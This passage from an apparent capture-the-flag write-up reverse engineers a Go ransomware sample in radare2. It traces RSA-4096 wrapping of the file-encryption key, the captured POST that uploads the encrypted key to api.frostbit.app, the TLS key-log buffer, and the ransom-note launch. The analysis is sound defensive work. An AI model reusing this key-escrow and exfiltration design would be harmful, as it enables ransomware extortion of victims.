Potential key: 0x3c0e75 525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3c12a0 0a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','non
Potential key: 0x3c12c0 c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3c12e0 0c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x438498 9babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f436627285b8546280e8783997c05f3de970d425
Potential key: 0x4384b8 9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f436627285b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0
Potential key: 0x4384d8 451960007c2ec7be371a007f436627285b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df
Potential key: 0x4f3d88 6666666666666666666666666666666666666666666666666666666666666666'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Potential key: 0x4f3da8 66666666666666666666666666666666''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Potential key: 0x4f3e68 66666666666666666666666666666666o
Potential key: 0x4f3ee8 666666666666666666666666666666663zI
Potential key: 0x4f3fa8 66666666666666666666666666666666
Potential key: 0x4f4027 e66666666666666666666666666666666bi/
Potential key: 0x4f40a7 e66666666666666666666666666666666bi/
Potential key: 0x4f4168 66666666666666666666666666666666
Potential key: 0x4f41e8 66666666666666666666666666666666A
Potential key: 0x4f4268 66666666666666666666666666666666A
Potential key: 0x4f4368 66666666666666666666666666666666
Potential key: 0x4f43e8 66666666666666666666666666666666tp
Potential key: 0x4f4528 66666666666666666666666666666666A
Potential key: 0x4f45a8 66666666666666666666666666666666
Potential key: 0x4f4668 66666666666666666666666666666666
Potential key: 0x4f4728 66666666666666666666666666666666
Potential key: 0x4f47a8 66666666666666666666666666666666
Potential key: 0x4f4828 66666666666666666666666666666666
Potential key: 0x4f48e8 66666666666666666666666666666666
Potential key: 0x4f4967 e66666666666666666666666666666666bi/
Potential key: 0x4f49e8 66666666666666666666666666666666
Potential key: 0x4f4aa8 66666666666666666666666666666666
Potential key: 0x4f4b28 66666666666666666666666666666666
Potential key: 0x51bd9f 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
Potential key: 0x51cd9a 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
Potential key: 0x541cd3 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
Potential key: 0x54a140 af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x54a160 563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x54a180 9eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x5d3ce8 19e000902a849d0a1c8619804190806e/usr/local/sbin/xdg-open
The remaining candidates were manually filtered further with the following categories of results:
-
The hex string is a substring of
encrypted-key-from-pcap.json
. For example:Potential key: 0x3301a0 dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
-
The hex string contains multiple substrings of
encrypted-key-from-pcap.json
, strung together. For example, the following contains a concatenation of9babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728
and5b8546280e8783997c05f3de970d425
, which are both substrings ofencrypted-key-from-pcap.json
:Potential key: 0x438498 9babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f436627285b8546280e8783997c05f3de970d425
-
The hex string is a low entropy hex string which cannot be the encryption key, as we know the encryption key is generated by
crypto/rand.Read
. For example:Potential key: 0x2ab1f1 0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@ ... Potential key: 0x4f3ee8 666666666666666666666666666666663zI
-
The hex string contains the digest
19e000902a849d0a1c8619804190806e
fromDoNotAlterOrDeleteMe.frostbit.json
. For example:Potential key: 0x51bd9f 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'} ... Potential key: 0x5d3ce8 19e000902a849d0a1c8619804190806e/usr/local/sbin/xdg-open
After filtering the remaining candidates based on the above categories, no candidates were left, indicating the core dump does not contain the AES-256 encryption key.
→ 10.6 RSA 4096 encryption
frostbit.elf
encrypts the AES-256 encryption key using
the RSA public key of api.frostbit.app
before uploading it
to api.frostbit.app
. The process is as follows.
A breakpoint was set at 0x006a2ad9
, just before
sym.crypto_rsa.EncryptPKCS1v15
is called:
[0x006a2ad9]> pd -11 @ rip +1
│ 0x006a2aa9 488b15e0ca.. mov rdx, qword [obj.crypto_rand.Reader] ; [0x98f590:8]=0x7ad6c0 rdx ; int64_t arg4
│ 0x006a2ab0 4c8b15e1ca.. mov r10, qword [0x0098f598] ; [0x98f598:8]=0xc000034040 r10
│ 0x006a2ab7 4885c0 test rax, rax
│ 0x006a2aba 488d3dbfe8.. lea rdi, obj.runtime.ebss ; obj.internal_godebug.stderr
│ ; 0x9b1380
│ 0x006a2ac1 480f45f8 cmovne rdi, rax ; int64_t arg1
│ 0x006a2ac5 4889d0 mov rax, rdx
│ 0x006a2ac8 488b8c2430.. mov rcx, qword [arg_230h]
│ 0x006a2ad0 4889de mov rsi, rbx ; int64_t arg2
│ 0x006a2ad3 4989f0 mov r8, rsi
│ 0x006a2ad6 4c89d3 mov rbx, r10
│ ;-- rip:
│ 0x006a2ad9 b e8a2ffe5ff call sym.crypto_rsa.EncryptPKCS1v15
RDI
, RSI
and R8
represent the
slice to be encrypted, which consists of the AES-256 encryption key and
nonce, separated by a comma:
; slice length
[0x006a2ad9]> dr rsi
0x00000031
; slice capacity
[0x006a2ad9]> dr r8
0x00000031
; slice data
[0x006a2ad9]> ps 0x31 @ rdi
ba4cd0e4516ba0d4f1d0f63a07964f91,5ba74ec61797f538
RCX
contains the public encryption key.
Ghidra
handily shows the structure of this type:

Examination in radare2
indicates the exponent
E
is the common value, 65537, and the address of the
modulus N
is 0x000000c000034ac0
:
[0x006a2ad9]> x 16 @ rcx
- offset - F0F1 F2F3 F4F5 F6F7 F8F9 FAFB FCFD FEFF 0123456789ABCDEF
0xc0000164f0 c04a 0300 c000 0000 0100 0100 0000 0000 .J..............
; Exponent of 65537
[0x006a2ad9]> pf q @ rcx + 8
0xc0000164f8 = (qword)0x0000000000010001
[0x006a2ad9]> pf i @ rcx + 8
0xc0000164f8 = 65537
; Modulus address
[0x006a2ad9]> pf p @ rcx
0xc0000164f0 = (qword)0x000000c000034ac0
The structure of math/big.Int
and
math/big.nat
are as follows:


radare2
shows that neg
in the first 8 bytes
of the modulus is false:
; Modulus has a type of math/big.Int consisting of an 8 byte neg field, followed by 24 bytes of
; type math/big.nat
[0x006a2ad9]> x 32 @ 0x000000c000034ac0
- offset - C0C1 C2C3 C4C5 C6C7 C8C9 CACB CCCD CECF 0123456789ABCDEF
0xc000034ac0 0000 0000 0000 0000 4062 2000 c000 0000 ........@b .....
0xc000034ad0 4000 0000 0000 0000 4500 0000 0000 0000 @.......E.......
Examining the abs
fields, the slice’s array is located
at 0x000000c000206240
and has a length of 64. Since
big.Word
is a type alias for uint
and the
latter is 64 bits (8 bytes) on x86-64, the byte length of the array is
64 * 8 == 512 bytes.
; Modulus array pointer
[0x006a2ad9]> pf p @ 0x000000c000034ac0 + 8
0xc000034ac8 = (qword)0x000000c000206240
; Modulus length of 64 math/big.Word == 64 * 8 == 512 bytes
[0x006a2ad9]> pf i @ 0x000000c000034ac0 + 16
0xc000034ad0 = 64
; Modulus capacity
[0x006a2ad9]> pf i @ 0x000000c000034ac0 + 24
0xc000034ad8 = 69
The modulus is thus:
; 512 byte modulus value
[0x006a2ad9]> x 512 @ 0x000000c000206240
- offset - 4041 4243 4445 4647 4849 4A4B 4C4D 4E4F 0123456789ABCDEF
0xc000206240 afef ef77 37ad 587f 258a c6da 5042 315f ...w7.X.%...PB1_
0xc000206250 1f17 5a41 e12d 916f 34fd 4169 0007 69b9 ..ZA.-.o4.Ai..i.
0xc000206260 5941 372b abe6 393e eb3f 7709 6018 1290 YA7+..9>.?w.`...
0xc000206270 a473 eae4 2380 a1e4 966c 907f 9eb9 2a9b .s..#....l....*.
0xc000206280 9e33 5b91 2470 d024 40e3 d447 fc7c da67 .3[.$p.$@..G.|.g
0xc000206290 fea9 55d5 4460 c826 c2e0 4db6 e1d1 affd ..U.D`.&..M.....
0xc0002062a0 5b3c c692 cb73 fd6e d5a4 a9ba 8b57 f770 [<...s.n.....W.p
0xc0002062b0 d018 fe11 182c 99c0 56b4 4419 923f 912f .....,..V.D..?./
0xc0002062c0 b9ad 3c36 2647 a0e3 0727 2c26 fe83 c749 ..<6&G...',&...I
0xc0002062d0 adfc 7a90 adbd 8132 3705 ab1b d8f3 303c ..z....27.....0<
0xc0002062e0 71ca 21b4 3b22 bb18 1e69 c287 e997 500f q.!.;"...i....P.
0xc0002062f0 6ff3 231b 1464 1f8f e3ab 4ace 7379 e5ec o.#..d....J.sy..
0xc000206300 5902 c6ac bc5b 7741 b145 0fa8 3ae5 0c94 Y....[wA.E..:...
0xc000206310 47a8 2562 9283 dc79 9876 6349 d20e 7e0f G.%b...y.vcI..~.
0xc000206320 0e5a 984a e1d6 6142 160f 06c5 4e0d c888 .Z.J..aB....N...
0xc000206330 a600 94a8 af38 31e3 e1bf 687c 5d0a c0d5 .....81...h|]...
0xc000206340 78b2 9b2d 9689 a0c5 b1f5 178c 54fe 8552 x..-........T..R
0xc000206350 e2ce f0eb 0a3d 0ee8 18c1 dacd 375f 679b .....=......7_g.
0xc000206360 ed98 c29e a76c 1d06 fa5f 8105 bb31 26cf .....l..._...1&.
0xc000206370 0d0c a8bf 78b0 8b15 5ad2 87b0 4518 d870 ....x...Z...E..p
0xc000206380 a67b 1b71 dbe2 4944 8d75 0b30 a52b af20 .{.q..ID.u.0.+.
0xc000206390 ac69 a140 c418 6aa4 da4e 2294 855f 1ae3 .i.@..j..N".._..
0xc0002063a0 476a 93cf 9e2d 2bc3 502f 6b89 0fd7 12e4 Gj...-+.P/k.....
0xc0002063b0 221a c847 8d23 0421 854f 2c59 3e10 c87c "..G.#.!.O,Y>..|
0xc0002063c0 b50c 3d70 f665 2b05 94bd 8887 e33f 90f9 ..=p.e+......?..
0xc0002063d0 36db 3005 20d7 5638 741f 7b3c b151 fb47 6.0. .V8t.{<.Q.G
0xc0002063e0 7322 1cfa e40a de0b 6d90 ff94 961e af23 s"......m......#
0xc0002063f0 40f9 b968 af55 1243 c003 ad6d 0579 2508 @..h.U.C...m.y%.
0xc000206400 5807 d5d2 2fa3 8eea d04c b715 f612 4666 X.../....L....Ff
0xc000206410 f9cf c2f5 33e1 49b9 b871 b62c 3952 fe8e ....3.I..q.,9R..
0xc000206420 3fc9 cbab 9a47 2fcb 34c1 bd0a 34fa 4eb7 ?....G/.4...4.N.
0xc000206430 57b1 af05 7d60 ec8f 3424 efc0 6cd7 f4cb W...}`..4$..l...
The modulus was extracted into rsa-modulus-radare2.txt
,
fixing the endianness by reversing the value:
[0x006a2ad9]> p8 512 @ 0x000000c000206240 | sed -Ee 's/../\0\n/g'|tac|tr -d '\n' > rsa-modulus-radare2.txt
The modulus of the replay server public key was extracted into
rsa-modulus-openssl.txt
:
openssl x509 -in server.crt -text -noout|sed -nEe '/Modulus/,/Exponent/ p' | sed -e '1d; $d'|tr -d " \n:"|sed -e 's/^00//' > rsa-modulus-openssl.txt
The two moduli were found to be equal:
└─$ cat rsa-modulus-radare2.txt
cbf4d76cc0ef24348fec607d05afb157b74efa340abdc134cb2f479aabcbc93f8efe52392cb671b8b949e133f5c2cff9664612f615b74cd0ea8ea32fd2d50758082579056dad03c0431255af68b9f94023af1e9694ff906d0bde0ae4fa1c227347fb51b13c7b1f743856d7200530db36f9903fe38788bd94052b65f6703d0cb57cc8103e592c4f852104238d47c81a22e412d70f896b2f50c32b2d9ecf936a47e31a5f8594224edaa46a18c440a169ac20af2ba5300b758d4449e2db711b7ba670d81845b087d25a158bb078bfa80c0dcf2631bb05815ffa061d6ca79ec298ed9b675f37cddac118e80e3d0aebf0cee25285fe548c17f5b1c5a089962d9bb278d5c00a5d7c68bfe1e33138afa89400a688c80d4ec5060f164261d6e14a985a0e0f7e0ed24963769879dc83926225a847940ce53aa80f45b141775bbcacc60259ece57973ce4aabe38f1f64141b23f36f0f5097e987c2691e18bb223bb421ca713c30f3d81bab05373281bdad907afcad49c783fe262c2707e3a04726363cadb92f913f921944b456c0992c1811fe18d070f7578bbaa9a4d56efd73cb92c63c5bfdafd1e1b64de0c226c86044d555a9fe67da7cfc47d4e34024d07024915b339e9b2ab99e7f906c96e4a18023e4ea73a49012186009773feb3e39e6ab2b374159b96907006941fd346f912de1415a171f5f314250dac68a257f58ad3777efefaf
└─$ cat rsa-modulus-openssl.txt
cbf4d76cc0ef24348fec607d05afb157b74efa340abdc134cb2f479aabcbc93f8efe52392cb671b8b949e133f5c2cff9664612f615b74cd0ea8ea32fd2d50758082579056dad03c0431255af68b9f94023af1e9694ff906d0bde0ae4fa1c227347fb51b13c7b1f743856d7200530db36f9903fe38788bd94052b65f6703d0cb57cc8103e592c4f852104238d47c81a22e412d70f896b2f50c32b2d9ecf936a47e31a5f8594224edaa46a18c440a169ac20af2ba5300b758d4449e2db711b7ba670d81845b087d25a158bb078bfa80c0dcf2631bb05815ffa061d6ca79ec298ed9b675f37cddac118e80e3d0aebf0cee25285fe548c17f5b1c5a089962d9bb278d5c00a5d7c68bfe1e33138afa89400a688c80d4ec5060f164261d6e14a985a0e0f7e0ed24963769879dc83926225a847940ce53aa80f45b141775bbcacc60259ece57973ce4aabe38f1f64141b23f36f0f5097e987c2691e18bb223bb421ca713c30f3d81bab05373281bdad907afcad49c783fe262c2707e3a04726363cadb92f913f921944b456c0992c1811fe18d070f7578bbaa9a4d56efd73cb92c63c5bfdafd1e1b64de0c226c86044d555a9fe67da7cfc47d4e34024d07024915b339e9b2ab99e7f906c96e4a18023e4ea73a49012186009773feb3e39e6ab2b374159b96907006941fd346f912de1415a171f5f314250dac68a257f58ad3777efefaf
└─$ cmp rsa-modulus-radare2.txt rsa-modulus-openssl.txt
main.runit
POSTs the encryptedkey
to
api.frostbit.app
:
[0x006a3298]> pdb
│ ; CODE XREF from sym.main.runit @ 0x6a326b(x)
│ 0x006a3284 488908 mov qword [rax], rcx
│ 0x006a3287 90 nop
│ 0x006a3288 488b842490.. mov rax, qword [rsp + 0x290]
│ 0x006a3290 488b9c2408.. mov rbx, qword [rsp + 0x208]
│ 0x006a3298 e8e3e3f9ff call sym.net_http._Client_.do
│ 0x006a329d 0f1f00 nop dword [rax]
│ 0x006a32a0 4885db test rbx, rbx
│ ┌─< 0x006a32a3 0f859e000000 jne 0x6a3347
After executing the instruction at 0x006a3298
, the
following POST was observed via the socat
logging, albeit
the following is the cleaned up version to remove socat
metadata and carriage return escapes:
POST /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"6dad38296f1f438a515573938109f3e55ed1d8bec32cf01a37077fabe9d5ab1024ce75a037d3d85cde5c2384826a7220805ec74e2dcea92ea85af38b358e0e2f048c6cbbf1b40d9a0d668bb3c5241bf43af935b42da3f3c0912eca6d6df8d1095cf18f8e7e9e4d2f7e5bb0e6dbc1e91e94f7d7f5a7b93b6a977654624c9d54f7758ada7c3cf7d56e6b5e1fa4ff4f34eb9076f3617e34c2221910f24184955bc05d47fa24dfa4901505a1d7cb022369f6dd15a7900195e15b356081a6cf16a1741d2e1e8745c65013211afff1f24e49c5d19dfba33c35c3ea2b949f5fc6d88dec49e5944baf5f2898588641ce2c70567758b0aece6b5a2b2527933ef960a528dab325243e5665c4324d5dd9bbb38cafaf56ffe81e7a7e053db60fd7cb515cef9111f924d490218d5c5c365a3ebea44e56ef78a9ed422f5f398ce9160968d0a771e0b1d7d97b8202a71986dc7c35b640f74d67dac29e67d76ba66b12eb507875bc45ffcf3216f3f893036962ae5684eac74aa74c5ccc356c1abf384d99a98fc2c2d06ffbfd197c1d13d9611a48e64ef687dbdea05af7092a510e14d2584cf2c168e548f4325fe54b95ad187eef253c338155c904c7e478773dfbccca538b4c57753c0e199a28eff26e4848cc264d9f7eb625437aeb086042fc2d7bbd632900f1103afd9858b21ac3abc20860bb037064bcbcbdae1d2be619ea0060c5ddac05781c","nonce":"5ba74ec61797f538"}
The encrypted key value was placed into
encrypted-key.txt
and confirmed to be decryptable by the
replay server’s private RSA key:
└─$ openssl pkeyutl -decrypt -inkey ../../socat/private.pem -in <(cat encrypted-key.txt|xxd -p -r)
Enter pass phrase for ../../socat/private.pem:
ba4cd0e4516ba0d4f1d0f63a07964f91,5ba74ec61797f538
→ 10.7 RSA 4096 - Checking the api.frostbit.app public key
The public key of the real https://api.frostbit.app
endpoint was confirmed to also be an RSA 4096 bit key. It was thus
expected that the uploaded value could not be decrypted without
obtaining the corresponding private key.
└─$ echo "Q" | openssl s_client -connect api.frostbit.app:443 2>/dev/null| sed -n '/BEGIN CERTIFICATE/,/END CERTIFICATE/p' | tee api.frostbit.app-cert.pem | openssl x509 -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
04:dc:6a:8b:1d:ec:f5:24:c4:79:90:f1:11:ad:92:d8:59:d6
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=Let's Encrypt, CN=R10
Validity
Not Before: Nov 15 19:17:42 2024 GMT
Not After : Feb 13 19:17:41 2025 GMT
Subject: CN=api.frostbit.app
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (4096 bit)
Modulus:
00:a6:58:39:78:a0:ef:93:d7:fe:82:c5:96:65:4b:
69:16:bf:34:a2:34:d9:69:b9:b8:46:dc:b4:2e:8a:
f0:b6:ae:55:25:dd:fb:f0:68:00:9b:0c:48:16:87:
5d:b9:d3:fe:c4:c3:73:f6:ee:65:44:51:31:a8:35:
a8:2b:64:f1:29:bc:a2:19:33:8a:57:d2:25:a5:95:
0b:17:27:d5:f7:ff:e2:f2:fa:b8:7b:0e:c7:f5:3b:
3b:76:e3:61:e2:07:87:37:2b:1f:5a:a7:6b:55:e6:
d3:45:9e:80:78:20:1e:27:67:19:b9:53:f8:6e:b8:
9a:8b:45:c3:ab:62:94:77:fb:1c:ee:48:10:c5:71:
a0:c3:4b:7f:16:a8:83:82:5a:52:17:53:c5:c4:fb:
d4:cc:9c:1c:24:d4:21:21:84:02:c5:10:b0:1e:41:
ea:55:29:d3:a1:97:27:8c:98:e1:81:5c:97:b1:33:
72:e6:93:8b:05:6a:a0:e6:74:a7:5e:bc:25:f0:97:
c6:91:41:cd:fd:3c:1b:6f:cd:bd:ac:83:13:e7:9d:
19:c4:ef:0a:60:7e:2a:fe:45:77:73:05:5c:49:87:
c4:62:f3:09:26:87:90:14:28:07:8a:e2:f9:12:ec:
40:51:b3:ba:29:98:13:9d:15:a1:59:09:a8:b5:34:
1b:f9:f0:a3:f2:c8:a5:8e:0f:1d:21:dc:31:07:af:
74:2e:f6:58:a6:fb:f8:c8:f2:d8:82:a0:9f:f4:fc:
f3:82:b6:4f:be:52:7e:5e:42:27:27:7b:3f:f8:33:
8b:d1:56:c2:81:31:cf:d2:06:e9:3b:b9:1d:8e:24:
ce:05:2d:49:a7:e1:6d:6c:21:be:ea:89:af:c1:28:
3f:70:42:cd:9e:c0:c2:b3:a1:75:c7:7d:e2:47:bb:
6e:99:e4:32:4b:03:4f:58:d1:ad:ea:93:87:9b:21:
9f:1d:82:f6:47:18:63:e5:2e:67:09:7a:b1:18:2c:
76:ab:69:87:f2:5e:00:2f:96:db:cd:55:71:10:46:
be:f8:58:27:77:da:f6:e1:24:82:dd:bb:e5:35:54:
f4:08:37:c1:76:82:b3:4e:e3:bc:44:e3:41:e1:62:
8d:91:ba:8d:8f:e3:04:f0:90:c7:50:0d:fd:95:df:
f2:a8:85:62:1a:38:c0:11:1f:cd:4e:2b:21:93:9c:
e4:d3:8d:7d:02:24:29:1d:f3:94:9c:23:71:ab:5e:
cd:64:fe:4a:80:bc:71:ef:1a:d3:68:b7:4f:9b:45:
fd:68:c3:9c:aa:e2:0f:7a:78:eb:c1:97:c8:56:9c:
aa:66:85:27:fc:3d:33:8a:7a:0d:22:7a:24:f0:21:
5d:6c:3f
Exponent: 65537 (0x10001)
→ 10.8 RSA 4096 - Confirming the origins of the public key
The public key was confirmed to be obtained from
api.frostbit.app
. This would seem obvious given the replay
server uses a public key unknown to the ransomware creator but the
following also demonstrates at which point the public key is sourced
from api.frostbit.app
.
A breakpoint was set at 0x006a181a
, just before the
first HTTP request issued from main.GetNonce
:
; breakpoint just before the first HTTP request in main.GetNonce
[0x006a181a]> pd--3
│ 0x006a180c 4889d9 mov rcx, rbx ; int64_t arg_18h
│ 0x006a180f 4889c3 mov rbx, rax
│ 0x006a1812 488b842490.. mov rax, qword [arg_190h]
│ ;-- rip:
│ 0x006a181a b e8e1fcf9ff call sym.net_http._Client_.Get
│ 0x006a181f 90 nop
│ 0x006a1820 4885db test rbx, rbx
All memory maps/segments were searched for the public modulus,
bearing in mind this is still the modulus used by the python replay
endpoint, not the real api.frostbit.app
. The modulus was
not found. As the modulus is shared between the public and private keys,
this also means the private key is not in memory either, as would be
expected:
; Search all maps/segments for public key modulus - nothing found
[0x006a181a]> e search.in=dbg.maps
[0x006a181a]> /x afefef7737ad587f
The HTTP request was executed:
; Step over
[0x006a181a]> dso
INFO: hit breakpoint at: 0x6a181f
[0x006a181f]> pd--3
│ 0x006a180f 4889c3 mov rbx, rax
│ 0x006a1812 488b842490.. mov rax, qword [arg_190h]
│ 0x006a181a b e8e1fcf9ff call sym.net_http._Client_.Get
│ ;-- rip:
│ 0x006a181f 90 nop
│ 0x006a1820 4885db test rbx, rbx
│ ┌─< 0x006a1823 0f85ac000000 jne 0x6a18d5
The memory maps/segments were searched again, this time finding the modulus at two addresses. As the HTTP request is executed by a standard Go function, it is reasonable to expect the modulus corresponds to only the public RSA key and the private key is unavailable:
; Search all maps/segments for public key modulus - public key modulus now found
[0x006a181f]> /x afefef7737ad587f
0xc0001c2240 hit0_0 afefef7737ad587f
0xc0001c8400 hit0_1 afefef7737ad587f
A breakpoint was then set before
sym.crypto_rsa.EncryptPKCS1v15
is called:
[0x006a181f]> db 0x006a2ad9
[0x006a181f]> dc
INFO: hit breakpoint at: 0x6a2ad9
[0x006a2ad9]> pd--3
│ 0x006a2ad0 4889de mov rsi, rbx ; int64_t arg2
│ 0x006a2ad3 4989f0 mov r8, rsi
│ 0x006a2ad6 4c89d3 mov rbx, r10
│ ;-- rip:
│ 0x006a2ad9 b e8a2ffe5ff call sym.crypto_rsa.EncryptPKCS1v15
│ 0x006a2ade 6690 nop
│ 0x006a2ae0 4885ff test rdi, rdi
The modulus of the public key was located and found to be located at
0xc0001c2240
, which was one of the addresses found
above:
[0x006a2ad9]> x 16 @ rcx
- offset - A0A1 A2A3 A4A5 A6A7 A8A9 AAAB ACAD AEAF 0123456789ABCDEF
0xc00009e4a0 802a 0c00 c000 0000 0100 0100 0000 0000 .*..............
[0x006a2ad9]> pf p @ rcx
0xc00009e4a0 = (qword)0x000000c0000c2a80
[0x006a2ad9]> pf p @ 0x000000c0000c2a80 + 8
0xc0000c2a88 = (qword)0x000000c0001c2240
[0x006a2ad9]> x 32 @ 0x000000c0001c2240
- offset - 4041 4243 4445 4647 4849 4A4B 4C4D 4E4F 0123456789ABCDEF
0xc0001c2240 afef ef77 37ad 587f 258a c6da 5042 315f ...w7.X.%...PB1_
0xc0001c2250 1f17 5a41 e12d 916f 34fd 4169 0007 69b9 ..ZA.-.o4.Ai..i.
For good measure, frostbit.elf
can also be searched for
the real api.frostbit.app
modulus, finding no results in
either endianness, as expected:
└─$ rafind2 -x a6583978a0 frostbit.elf
└─$ rafind2 -x a0783958a6 frostbit.elf
→ 10.9 Unfinished business - why were the TLS secrets in the core dump?
Prior to the first HTTP request, main.runit
configures
tls.Config
with a KeyLogWriter
. The relevant
assembly is as follows:
[0x006a25fd]> pd 7
│ 0x006a25fd 488d051cf0.. lea rax, [0x00721620]
│ 0x006a2604 e877c6d6ff call sym.runtime.newobject
│ 0x006a2609 c680a00000.. mov byte [rax + 0xa0], 1
│ 0x006a2610 488d0dc9af.. lea rcx, obj.go:itab.bytes.Buffer_io.Writer ; 0x7ad5e0
│ 0x006a2617 4889883801.. mov qword [rax + 0x138], rcx
│ 0x006a261e 488d0d9bd8.. lea rcx, obj.main.keyLogBuffer ; 0x98fec0
│ 0x006a2625 4889884001.. mov qword [rax + 0x140], rcx
[0x006a25fd]>
Determining the types constructed by runtime.newobject
requires understanding Go’s type
information.
At runtime, the base address of the object type information was determined:
[0x006a2604]> dm | grep obj.type| cut -d' ' -f 1
0x00000000006a5000
The address loaded into RAX
before calling
runtime.newobject
corresponds to
internal/abi.Type
shown below. The 4 byte Str
field at offset 0x28
is a internal.abi/NameOff,
an alias to an int32
that stores the offset into the
.rodata
section of the binary where the name of the type
can be obtained:

The constructed object was determined to be a
*tls.Config
:
[0x00475d80]> pf d @ 0x00721620 + 0x28
0x00721648 = 0x0000620a
[0x006a2604]> x 32 @ (0x00000000006a5000 + 0x620a)
- offset - A B C D E F 1011 1213 1415 1617 1819 ABCDEF0123456789
0x006ab20a 010b 2a74 6c73 2e43 6f6e 6669 6701 0b43 ..*tls.Config..C
0x006ab21a 6572 7469 6669 6361 7465 010b 4369 7068 ertificate..Ciph
[0x00475d80]> ps 0xb @ (0x00000000006a5000 + 0x620a + 2)
*tls.Config
The tls.Config
type has a KeyLogWriter
field that can be used to write
“TLS master secrets in NSS key log format”. The
KeyLogWriter
field is at offset 0x138
:

Hence, the instructions between 0x006a2610
and
0x006a2625
configure the tls.Config
with a
writer backed by obj.main.keyLogBuffer
.
Use of the keyLogBuffer
was confirmed by once again
setting a breakpoint at 0x006a181a
, just before the first
HTTP request issued from main.GetNonce
:
; breakpoint just before the first HTTP request in main.GetNonce
[0x006a181a]> pd--3
│ 0x006a180c 4889d9 mov rcx, rbx ; int64_t arg_18h
│ 0x006a180f 4889c3 mov rbx, rax
│ 0x006a1812 488b842490.. mov rax, qword [arg_190h]
│ ;-- rip:
│ 0x006a181a b e8e1fcf9ff call sym.net_http._Client_.Get
│ 0x006a181f 90 nop
│ 0x006a1820 4885db test rbx, rbx
At this point, the keyLogBuffer
was empty:
[0x006a181a]> x 32 @ obj.main.keyLogBuffer
- offset - C0C1 C2C3 C4C5 C6C7 C8C9 CACB CCCD CECF 0123456789ABCDEF
0x0098fec0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0098fed0 0000 0000 0000 0000 0000 0000 0000 0000 ................
The HTTP request was executed, after which, the
keyLogBuffer
contained a pointer to the TLS master
secrets:
[0x006a181a]> dso
INFO: hit breakpoint at: 0x6a181f
[0x006a181f]> pf p @ obj.main.keyLogBuffer
0x0098fec0 = (qword)0x000000c0000f2000
[0x006a181f]> x 64 @ 0x000000c0000f2000
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xc0000f2000 434c 4945 4e54 5f48 414e 4453 4841 4b45 CLIENT_HANDSHAKE
0xc0000f2010 5f54 5241 4646 4943 5f53 4543 5245 5420 _TRAFFIC_SECRET
0xc0000f2020 6335 6235 3663 3239 6534 3231 6266 3439 c5b56c29e421bf49
0xc0000f2030 6331 3965 6133 3762 3134 6538 3336 6434 c19ea37b14e836d4
→ 10.10 View ransom note URL
After encrypting naughty_nice_list.csv
,
frostbit.elf
attempts to open the ransom note hosted at the
base URL https://api.frostbit.app/view/
using the user’s
preferred application. However, frostbit.elf
attempts to
execute /usr/local/sbin/xdg-open
to do so. This path is
unusual, in that the typical path is /usr/bin/xdg-open
,
whereas the /usr/local/sbin/
directory is typically
reserved for system administration programs and not usually in a regular
user’s executable search paths. The incorrect path may have been
intentional to essentially de-fang the challenge, especially if a player
attempts to run frostbit.elf
in future after the domain has
been de-registered.

The execution was confirmed in radare2
with a breakpoint
at 0x006a1660
, where the command execution occurs:
[0x006a1660]> pdb
│ ; CODE XREF from sym.main.openUrlQuietly @ 0x6a1632(x)
│ 0x006a1651 48894868 mov qword [rax + 0x68], rcx
│ 0x006a1655 48895070 mov qword [rax + 0x70], rdx
│ 0x006a1659 48894878 mov qword [rax + 0x78], rcx
│ 0x006a165d 0f1f00 nop dword [rax]
│ ;-- rip:
│ 0x006a1660 b e87b13feff call sym.os_exec._Cmd_.Run
│ 0x006a1665 4889442430 mov qword [arg_38h], rax
│ 0x006a166a 48895c2438 mov qword [arg_138h], rbx
│ 0x006a166f c644242f00 mov byte [arg_2fh], 0
│ 0x006a1674 488b9424e8.. mov rdx, qword [arg_e8h]
│ 0x006a167c 488b0a mov rcx, qword [rdx]
│ 0x006a167f 90 nop
│ 0x006a1680 ffd1 call rcx
│ 0x006a1682 488b442430 mov rax, qword [arg_38h]
│ 0x006a1687 488b5c2438 mov rbx, qword [arg_138h]
│ 0x006a168c 4881c4f000.. add rsp, 0xf0
│ 0x006a1693 5d pop rbp
│ 0x006a1694 c3 ret
The first argument to os/exec.Run
is a pointer to an
